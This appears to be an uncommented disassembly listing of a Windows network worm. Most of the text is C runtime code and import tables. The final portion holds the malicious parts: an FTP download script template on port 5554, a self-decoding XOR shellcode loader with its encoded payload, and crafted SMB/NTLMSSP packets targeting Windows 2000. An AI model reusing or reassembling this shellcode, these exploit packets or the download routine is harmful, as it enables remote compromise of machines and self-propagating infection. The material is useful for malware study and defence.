		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404970	proc near		; CODE XREF: sub_403D93+2EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_404990
		cmp	edi, eax
		jb	loc_404B08


loc_404990:				; CODE XREF: sub_404970+16j
		test	edi, 3
		jnz	short loc_4049AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4049CC
		rep movsd
		jmp	ds:off_404AB8[edx*4]
; ---------------------------------------------------------------------------


loc_4049AC:				; CODE XREF: sub_404970+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4049C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_4049CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4049C4:				; CODE XREF: sub_404970+46j
		jmp	dword ptr ds:loc_404AC8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4049CC:				; CODE XREF: sub_404970+31j
					; sub_404970+8Ej ...
		jmp	ds:off_404A4C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4049E0
		dd offset loc_404A0C
		dd offset loc_404A30
; ---------------------------------------------------------------------------


loc_4049E0:				; DATA XREF: sub_404970+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4049CC
		rep movsd
		jmp	ds:off_404AB8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_404A0C:				; DATA XREF: sub_404970+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4049CC
		rep movsd
		jmp	ds:off_404AB8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_404A30:				; DATA XREF: sub_404970+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4049CC
		rep movsd
		jmp	ds:off_404AB8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_404A4C	dd offset loc_404AAF	; DATA XREF: sub_404970:loc_4049CCr
		dd offset loc_404A9C
		dd offset loc_404A94
		dd offset loc_404A8C
		dd offset loc_404A84
		dd offset loc_404A7C
		dd offset loc_404A74
		dd offset loc_404A6C
; ---------------------------------------------------------------------------


loc_404A6C:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_404A74:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_404A7C:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_404A84:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_404A8C:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_404A94:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_404A9C:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_404AAF:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970:off_404A4Co
		jmp	ds:off_404AB8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_404AB8	dd offset loc_404AC8	; DATA XREF: sub_404970+35r
					; sub_404970+92r ...
		dd offset loc_404AD0
		dd offset loc_404ADC
		dd offset loc_404AF0
; ---------------------------------------------------------------------------


loc_404AC8:				; CODE XREF: sub_404970+35j
					; sub_404970+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_404AD0:				; CODE XREF: sub_404970+35j
					; sub_404970+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404ADC:				; CODE XREF: sub_404970+35j
					; sub_404970+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_404AF0:				; CODE XREF: sub_404970+35j
					; sub_404970+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404B08:				; CODE XREF: sub_404970+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_404B3C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_404B30
		std
		rep movsd
		cld
		jmp	ds:off_404C50[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_404B30:				; CODE XREF: sub_404970+1B1j
					; sub_404970+208j ...
		neg	ecx
		jmp	ds:off_404C00[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_404B3C:				; CODE XREF: sub_404970+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_404B54
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_404B54+4[eax*4]
; ---------------------------------------------------------------------------


loc_404B54:				; CODE XREF: sub_404970+1D6j
					; DATA XREF: sub_404970+1DDr
		jmp	ds:off_404C50[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_404B67+1
		dd offset loc_404B88
; ---------------------------------------------------------------------------
		mov	al, 4Bh
		inc	eax


loc_404B67:				; DATA XREF: sub_404970+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_404B30
		std
		rep movsd
		cld
		jmp	ds:off_404C50[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_404B88:				; DATA XREF: sub_404970+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_404B30
		std
		rep movsd
		cld
		jmp	ds:off_404C50[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_404B30
		std
		rep movsd
		cld
		jmp	ds:off_404C50[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_404C04
		dd offset loc_404C0C
		dd offset loc_404C14
		dd offset loc_404C1C
		dd offset loc_404C24
		dd offset loc_404C2C
		dd offset loc_404C34
off_404C00	dd offset loc_404C47	; DATA XREF: sub_404970+1C2r
; ---------------------------------------------------------------------------


loc_404C04:				; DATA XREF: sub_404970+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_404C0C:				; DATA XREF: sub_404970+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_404C14:				; DATA XREF: sub_404970+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_404C1C:				; DATA XREF: sub_404970+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_404C24:				; DATA XREF: sub_404970+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_404C2C:				; DATA XREF: sub_404970+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_404C34:				; DATA XREF: sub_404970+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_404C47:				; CODE XREF: sub_404970+1C2j
					; DATA XREF: sub_404970:off_404C00o
		jmp	ds:off_404C50[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_404C50	dd offset loc_404C60	; DATA XREF: sub_404970+1B7r
					; sub_404970:loc_404B54r ...
		dd offset loc_404C68
		dd offset loc_404C78
		dd offset loc_404C8C
; ---------------------------------------------------------------------------


loc_404C60:				; CODE XREF: sub_404970+1B7j
					; sub_404970:loc_404B54j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404C68:				; CODE XREF: sub_404970+1B7j
					; sub_404970:loc_404B54j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404C78:				; CODE XREF: sub_404970+1B7j
					; sub_404970:loc_404B54j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404C8C:				; CODE XREF: sub_404970+1B7j
					; sub_404970:loc_404B54j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_404970	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_404CA6	proc near		; CODE XREF: sub_4033C0+13p
		jmp	ds:dword_405080
sub_404CA6	endp

; ---------------------------------------------------------------------------
		dd 0D5h	dup(0)
dword_405000	dd 77E2A571h		; DATA XREF: sub_402029+9Br
dword_405004	dd 77DD5ECCh		; DATA XREF: sub_4020D7+96r
dword_405008	dd 77DD59F0h		; DATA XREF: sub_4020D7+BEr
dword_40500C	dd 77DD189Ah		; DATA XREF: sub_4020D7+C7r
		dd 0
dword_405014	dd 77E805D8h		; DATA XREF: sub_404573+12r
dword_405018	dd 77E73167h		; DATA XREF: sub_4010D2+76r
					; sub_40127D+8Fr ...
dword_40501C	dd 77E6E32Eh		; DATA XREF: sub_401210+63r
					; sub_401B08+2ABr
dword_405020	dd 77E6D09Bh		; DATA XREF: sub_401210+43r
dword_405024	dd 77E6D071h		; DATA XREF: sub_401210+2Cr
dword_405028	dd 77E61BE6h		; DATA XREF: sub_40127D+105r
					; sub_40159E+4D0r ...
dword_40502C	dd 77E6E4C8h		; DATA XREF: sub_401B08+275r
dword_405030	dd 77E99331h		; DATA XREF: sub_401B08+259r
dword_405034	dd 77E7A099h		; DATA XREF: sub_401B08+24Ar
					; sub_401EF0+F8r ...
dword_405038	dd 77E7AC37h		; DATA XREF: sub_401E65+7Br
					; sub_402029:loc_402095r
dword_40503C	dd 77E684C6h		; DATA XREF: sub_401EF0+126r
dword_405040	dd 77F5157Dh		; DATA XREF: sub_402029+5Br
dword_405044	dd 77E7751Ah		; DATA XREF: sub_402029+18r
dword_405048	dd 77E7C2C4h		; DATA XREF: sub_402029+7r
dword_40504C	dd 77E6BD13h		; DATA XREF: sub_4020D7+82r
dword_405050	dd 77E705B0h		; DATA XREF: sub_4020D7+27r
dword_405054	dd 77E7A5FDh		; DATA XREF: sub_404573+1Er
dword_405058	dd 77F5722Fh		; DATA XREF: sub_4043C7+28r
dword_40505C	dd 77E7980Ah		; DATA XREF: sub_4043C7+76r
					; sub_404478+51r
dword_405060	dd 77F516F8h		; DATA XREF: sub_403CF4+2Er
					; sub_403D2A+Dr ...
dword_405064	dd 77E6C703h		; DATA XREF: sub_403A40+1Ar
dword_405068	dd 77E7A13Fh		; DATA XREF: sub_403A40+2Fr
dword_40506C	dd 77E7849Fh		; DATA XREF: sub_4038A7+48r
					; sub_403AE6+14r
dword_405070	dd 77E7C866h		; DATA XREF: sub_40371C+3Fr
					; sub_40371C+12Dr
dword_405074	dd 77E641EBh		; DATA XREF: sub_40371C+59r
					; sub_40371C+8Dr
dword_405078	dd 77E77CCEh		; DATA XREF: sub_40371C+C5r
					; sub_40371C+11Br ...
dword_40507C	dd 77E79D8Ch		; DATA XREF: sub_4035C9+14Ar
dword_405080	dd 77F6183Eh		; DATA XREF: sub_404CA6r
dword_405084	dd 77F51597h		; DATA XREF: sub_403C87+27r
					; sub_403D93+2C4r ...
dword_405088	dd 77E79E34h		; DATA XREF: sub_403D93+23Fr
dword_40508C	dd 77E7C726h		; DATA XREF: sub_403382+11r
dword_405090	dd 77E76E0Bh		; DATA XREF: sub_403382+2Fr
dword_405094	dd 77E78406h		; DATA XREF: sub_4031D7+FFr
					; sub_4031D7+166r
dword_405098	dd 77E781F9h		; DATA XREF: sub_4046FE+42r
					; sub_4046FE+14Dr ...
dword_40509C	dd 77E77405h		; DATA XREF: sub_4046FE+5Er
					; sub_4046FE+A7r
dword_4050A0	dd 77E79F93h		; DATA XREF: sub_40283E+C2r
dword_4050A4	dd 77E6177Ah		; DATA XREF: sub_40283E+9Fr
					; sub_4031D7+59r
dword_4050A8	dd 77E7C938h		; DATA XREF: sub_40283E+74r
dword_4050AC	dd 77E7C486h		; DATA XREF: sub_40283E+26r
dword_4050B0	dd 77E75CB5h		; DATA XREF: sub_402959+1Dr
					; sub_402B10+91r
dword_4050B4	dd 77E616B4h		; DATA XREF: sub_402B10+17r
dword_4050B8	dd 77E79C90h		; DATA XREF: sub_402B10+10r
dword_4050BC	dd 77EB9A84h		; DATA XREF: sub_402BC3+138r
dword_4050C0	dd 77E9C5B1h		; DATA XREF: sub_4030A5+11Fr
dword_4050C4	dd 77E7C9E1h		; DATA XREF: sub_4030A5+CEr
dword_4050C8	dd 77E79924h		; DATA XREF: sub_4030A5+7Er
					; sub_4046FE+20Dr
dword_4050CC	dd 77E67702h		; DATA XREF: sub_4030A5:loc_4030D4r
					; sub_4030A5+E1r
dword_4050D0	dd 77E77EE1h		; DATA XREF: sub_4030A5+9r
dword_4050D4	dd 77E7C931h		; DATA XREF: sub_4031D7+19Dr
dword_4050D8	dd 77E79C3Dh		; DATA XREF: sub_4031D7+158r
					; sub_4035C9+143r
		align 10h
dword_4050E0	dd 77D4C96Ah		; DATA XREF: sub_401210+1Cr
					; sub_40127D+B7r ...
		align 8
dword_4050E8	dd 71AB868Dh		; DATA XREF: sub_401E65+68r
dword_4050EC	dd 71AB5690h		; DATA XREF: sub_401398+179r
					; sub_40159E+2DDr ...
dword_4050F0	dd 71AB1AF4h		; DATA XREF: sub_40127D+DEr
					; sub_401398+151r ...
dword_4050F4	dd 71AB1746h		; DATA XREF: sub_401153+23r
					; sub_40127D+27r ...
dword_4050F8	dd 71AB3C22h		; DATA XREF: sub_401153+50r
					; sub_40127D+51r ...
dword_4050FC	dd 71AB3E5Dh		; DATA XREF: sub_401153+68r
					; sub_40127D+6Cr ...
dword_405100	dd 71AB5DE2h		; DATA XREF: sub_401E65+51r
dword_405104	dd 71AB32CAh		; DATA XREF: sub_4010D2+18r
dword_405108	dd 71AB401Ch		; DATA XREF: sub_4010D2+43r
dword_40510C	dd 71AB12F8h		; DATA XREF: sub_401045+8r
					; sub_4011D5+7r ...
dword_405110	dd 71AB2BBFh		; DATA XREF: sub_4010D2+29r
					; sub_4011D5+1Er ...
dword_405114	dd 71AB41DAh		; DATA XREF: sub_401028+10r
dword_405118	dd 71AB3ECEh		; DATA XREF: sub_401E65+43r
dword_40511C	dd 71AB1A6Dh		; DATA XREF: sub_401153+76r
					; sub_40127D+10Fr ...
		dd 2 dup(0)
dword_405128	dd 0FFFFFFFFh, 402915h,	402929h, 746E7572h, 20656D69h
					; DATA XREF: sub_40283E+5o
		dd 6F727265h, 2072h, 0A0Dh, 534F4C54h, 72652053h, 0D726F72h
		dd 0Ah,	474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .text:off_406DA4o
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4035C9+119o
		align 4
asc_4053E8	db 0Ah			; DATA XREF: sub_4035C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4035C9+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_4035C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4035C9+7Do
		align 4
dword_405424	dd 0			; DATA XREF: sub_40371C+39o
					; sub_4046FE+36o
dword_405428	dd 0FFFFFFFFh, 403815h,	403819h	; DATA XREF: sub_40371C+5o
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_404573+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_404573+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_404573+24o
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_404573+Do
		align 10h
dword_405470	dd 0FFFFFFFFh, 40480Eh,	404812h, 0FFFFFFFFh, 4048C2h, 4048C6h
					; DATA XREF: sub_4046FE+5o
		dd 55CCh, 2 dup(0)
		dd 561Ch, 50E0h, 5500h,	2 dup(0)
		dd 5714h, 5014h, 55D4h,	2 dup(0)
		dd 5722h, 50E8h, 54ECh,	2 dup(0)
		dd 5774h, 5000h, 5 dup(0)
		dd 77E2A571h, 77DD5ECCh, 77DD59F0h, 77DD189Ah, 0
		dd 77E805D8h, 77E73167h, 77E6E32Eh, 77E6D09Bh, 77E6D071h
		dd 77E61BE6h, 77E6E4C8h, 77E99331h, 77E7A099h, 77E7AC37h
		dd 77E684C6h, 77F5157Dh, 77E7751Ah, 77E7C2C4h, 77E6BD13h
		dd 77E705B0h, 77E7A5FDh, 77F5722Fh, 77E7980Ah, 77F516F8h
		dd 77E6C703h, 77E7A13Fh, 77E7849Fh, 77E7C866h, 77E641EBh
		dd 77E77CCEh, 77E79D8Ch, 77F6183Eh, 77F51597h, 77E79E34h
		dd 77E7C726h, 77E76E0Bh, 77E78406h, 77E781F9h, 77E77405h
		dd 77E79F93h, 77E6177Ah, 77E7C938h, 77E7C486h, 77E75CB5h
		dd 77E616B4h, 77E79C90h, 77EB9A84h, 77E9C5B1h, 77E7C9E1h
		dd 77E79924h, 77E67702h, 77E77EE1h, 77E7C931h, 77E79C3Dh
		dd 0
		dd 77D4C96Ah, 0
		dd 71AB868Dh, 71AB5690h, 71AB1AF4h, 71AB1746h, 71AB3C22h
		dd 71AB3E5Dh, 71AB5DE2h, 71AB32CAh, 71AB401Ch, 71AB12F8h
		dd 71AB2BBFh, 71AB41DAh, 71AB3ECEh, 71AB1A6Dh, 0
		dd 73770000h, 6E697270h, 416674h, 52455355h, 642E3233h
		dd 6C6Ch, 65470000h, 6F725074h,	64644163h, 73736572h, 0
aLoadlibrarya	db 'LoadLibraryA',0
		align 4
aLstrcpya	db 'lstrcpyA',0
		align 4
a_lclose	db '_lclose',0
		dd 6C5F0000h, 74697277h, 65h, 72636C5Fh, 746165h, 6C530000h
		dd 706565h, 6C5F0000h, 64616572h, 0
a_lopen		db '_lopen',0
		align 10h
		dd 65470000h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
		dd 0
aCreatethread_0	db 'CreateThread',0
		align 4
aWinexec	db 'WinExec',0
		dd 65470000h, 73614C74h, 72724574h, 726Fh, 65470000h, 63695474h
		dd 756F436Bh, 746Eh, 72430000h,	65746165h, 6574754Dh, 4178h
		dd 6F430000h, 69467970h, 41656Ch, 65470000h, 6E695774h
		dd 73776F64h, 65726944h, 726F7463h, 4179h, 4E52454Bh, 32334C45h
		dd 6C6C642Eh, 53570000h, 32335F32h, 6C6C642Eh, 0
aAbortsystemshu	db 'AbortSystemShutdownA',0
		align 4
aRegclosekey	db 'RegCloseKey',0
		dd 65520000h, 74655367h, 756C6156h, 41784565h, 0
aRegopenkeya	db 'RegOpenKeyA',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 4
aGetmodulehandl	db 'GetModuleHandleA',0
		align 4
aGetstartupinfo	db 'GetStartupInfoA',0
		dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 56746547h
		dd 69737265h, 6E6Fh, 78450000h,	72507469h, 7365636Fh, 73h
		dd 6D726554h, 74616E69h, 6F725065h, 73736563h, 0
aGetcurrentproc	db 'GetCurrentProcess',0
		align 10h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 4
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		dd 72460000h, 6E456565h, 6F726976h, 6E656D6Eh, 72745374h
		dd 73676E69h, 57h, 65646957h, 72616843h, 754D6F54h, 4269746Ch
		dd 657479h, 65470000h, 766E4574h, 6E6F7269h, 746E656Dh
		dd 69727453h, 73676Eh, 65470000h, 766E4574h, 6E6F7269h
		dd 746E656Dh, 69727453h, 5773676Eh, 0
aSethandlecount	db 'SetHandleCount',0
		align 4
		dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h
		dd 70795465h, 65h, 70616548h, 74736544h, 796F72h, 65480000h
		dd 72437061h, 65746165h, 0
aVirtualfree	db 'VirtualFree',0
		dd 65480000h, 72467061h, 6565h,	74520000h, 776E556Ch, 646E69h
		dd 72570000h, 46657469h, 656C69h, 754D0000h, 4269746Ch
		dd 54657479h, 6469576Fh, 61684365h, 72h, 53746547h, 6E697274h
		dd 70795467h, 4165h, 65470000h,	72745374h, 54676E69h, 57657079h
		dd 0
aGetcpinfo	db 'GetCPInfo',0
		align 4
aGetacp		db 'GetACP',0
		align 4
		dd 65470000h, 4D454F74h, 5043h,	65480000h, 6C417061h, 636F6Ch
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 65480000h, 65527061h
		dd 6F6C6C41h, 63h, 614D434Ch, 72745370h, 41676E69h, 0
aLcmapstringw	db 'LCMapStringW',0
		align 4
		dd 191h	dup(0)
dword_406000	dd 0			; DATA XREF: sub_402AC1+1Fo
dword_406004	dd 0			; DATA XREF: sub_402AC1+1Ao
dword_406008	dd 0			; DATA XREF: sub_402AC1+10o
		dd offset sub_403C6B
dword_406010	dd 0			; DATA XREF: sub_402AC1:loc_402ACCo
dword_406014	dd 0			; DATA XREF: sub_402B10+65o
dword_406018	dd 0			; DATA XREF: sub_402B10:loc_402B70o
dword_40601C	dd 0			; DATA XREF: sub_402B10+76o
dword_406020	dd 4 dup(0)		; DATA XREF: sub_402B10:loc_402B81o
off_406030	dd offset aEchoOffEchoOpe ; DATA XREF: sub_40127D+AAr
					; "echo	off&echo open %s 5554>>cmd.ftp&ech"...
; ---------------------------------------------------------------------------


loc_406034:				; DATA XREF: sub_40159E+132o
					; sub_40159E+1ABo
		jmp	short loc_406046

; =============== S U B	R O U T	I N E =======================================



sub_406036	proc near		; CODE XREF: sub_406036:loc_406046p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_40603E:				; CODE XREF: sub_406036+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_40603E
		jmp	short loc_40604B
; ---------------------------------------------------------------------------


loc_406046:				; CODE XREF: .text:loc_406034j
		call	sub_406036


loc_40604B:				; CODE XREF: sub_406036+Ej
		jo	short near ptr dword_4059BC+626h
		cwde
		cdq
		cdq
		retn
sub_406036	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_4060E4	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40159E+102o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4061CC	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_401398+15Do
					; sub_40159E+2BDo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_406258	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401398+188o
					; sub_40159E+2ECo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 0
dword_406304	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401398+1ADo
					; sub_40159E+315o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
